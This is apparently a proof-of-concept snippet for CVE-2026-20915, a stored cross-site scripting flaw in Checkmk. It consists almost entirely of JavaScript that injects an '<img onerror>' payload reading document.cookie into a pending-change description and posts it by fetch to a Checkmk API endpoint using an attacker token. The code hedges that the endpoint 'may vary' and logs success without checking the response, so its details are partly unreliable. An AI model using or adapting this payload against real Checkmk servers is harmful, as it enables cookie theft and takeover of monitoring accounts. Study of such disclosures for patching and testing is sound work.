CVE-2026-20915 Checkmk 存储型XSS漏洞

// PoC for CVE-2026-20915 Stored XSS in Checkmk // Attacker injects payload into the Pending Changes description field // Malicious payload to be injected var xssPayload = '<img src=x onerror=alert(document.cookie)>'; // Simulate sending a request to create a pending change // Note: Actual API endpoint may vary var postData = { 'change_description': xssPayload, // Vulnerable field 'site': 'sitename', 'time_range': 'future' }; // Use fetch API to send the request fetch('/check_mk/api/1.0/domain-types/pending_change/actions/create/invoke', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <attacker_token>' }, body: JSON.stringify(postData) }).then(response => console.log('Payload injected successfully'));